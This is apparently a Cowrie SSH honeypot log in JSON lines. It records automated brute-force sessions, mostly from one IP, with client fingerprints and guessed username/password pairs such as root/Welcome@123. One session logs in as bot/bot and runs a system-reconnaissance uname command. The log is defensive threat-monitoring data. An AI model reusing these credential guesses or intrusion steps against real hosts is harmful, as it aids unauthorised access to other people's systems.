{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:58.611912Z","src_ip":"176.65.139.103","session":"a4cff0cd9ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45698,"dst_ip":"10.17.0.5","dst_port":22,"session":"16140a86dfb1","protocol":"ssh","message":"New connection: 176.65.139.103:45698 (10.17.0.5:22) [session: 16140a86dfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:03.185558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:03.204350Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:03.270349Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:03.712040Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:03.917368Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:03.920125Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:04.010140Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:04.014893Z","src_ip":"176.65.139.103","session":"16140a86dfb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45710,"dst_ip":"10.17.0.5","dst_port":22,"session":"69102f0f5603","protocol":"ssh","message":"New connection: 176.65.139.103:45710 (10.17.0.5:22) [session: 69102f0f5603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:09.721744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:09.725757Z","src_ip":"176.65.139.103","session":"69102f0f5603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:09.808551Z","src_ip":"176.65.139.103","session":"69102f0f5603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:10.082572Z","src_ip":"176.65.139.103","session":"69102f0f5603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:11.287179Z","src_ip":"176.65.139.103","session":"69102f0f5603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00127243995667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:12.274388Z","src_ip":"41.248.101.95","session":"147155cb7f27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39524,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8a8d088eac","protocol":"ssh","message":"New connection: 176.65.139.103:39524 (10.17.0.5:22) [session: 5d8a8d088eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:16.491868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:16.519296Z","src_ip":"176.65.139.103","session":"5d8a8d088eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:16.603594Z","src_ip":"176.65.139.103","session":"5d8a8d088eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:16.909041Z","src_ip":"176.65.139.103","session":"5d8a8d088eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:18.020365Z","src_ip":"176.65.139.103","session":"5d8a8d088eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49056,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bbf87ac65ad","protocol":"ssh","message":"New connection: 176.65.139.103:49056 (10.17.0.5:22) [session: 9bbf87ac65ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:23.491817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:23.510783Z","src_ip":"176.65.139.103","session":"9bbf87ac65ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:23.576253Z","src_ip":"176.65.139.103","session":"9bbf87ac65ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:23.956908Z","src_ip":"176.65.139.103","session":"9bbf87ac65ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:25.087415Z","src_ip":"176.65.139.103","session":"9bbf87ac65ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49070,"dst_ip":"10.17.0.5","dst_port":22,"session":"c905cb1570c5","protocol":"ssh","message":"New connection: 176.65.139.103:49070 (10.17.0.5:22) [session: c905cb1570c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:30.617563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:30.651858Z","src_ip":"176.65.139.103","session":"c905cb1570c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:30.711484Z","src_ip":"176.65.139.103","session":"c905cb1570c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:31.046327Z","src_ip":"176.65.139.103","session":"c905cb1570c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:32.152383Z","src_ip":"176.65.139.103","session":"c905cb1570c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38944,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cef9d2a2e67","protocol":"ssh","message":"New connection: 176.65.139.103:38944 (10.17.0.5:22) [session: 8cef9d2a2e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:37.467186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:37.471512Z","src_ip":"176.65.139.103","session":"8cef9d2a2e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:37.553126Z","src_ip":"176.65.139.103","session":"8cef9d2a2e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:38.107889Z","src_ip":"176.65.139.103","session":"8cef9d2a2e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:39.192109Z","src_ip":"176.65.139.103","session":"8cef9d2a2e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58388,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e666b526803","protocol":"ssh","message":"New connection: 159.203.92.129:58388 (159.203.135.109:22) [session: 4e666b526803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:41.826856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:41.831321Z","src_ip":"159.203.92.129","session":"4e666b526803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:41.835274Z","src_ip":"159.203.92.129","session":"4e666b526803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"3edc4RFV","message":"login attempt [ansible/3edc4RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:41.886201Z","src_ip":"159.203.92.129","session":"4e666b526803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:42.897891Z","src_ip":"159.203.92.129","session":"4e666b526803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53044,"dst_ip":"10.17.0.5","dst_port":22,"session":"85b177861b34","protocol":"ssh","message":"New connection: 176.65.139.103:53044 (10.17.0.5:22) [session: 85b177861b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:44.396916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:44.405455Z","src_ip":"176.65.139.103","session":"85b177861b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:44.512803Z","src_ip":"176.65.139.103","session":"85b177861b34","protocol":"ssh"}
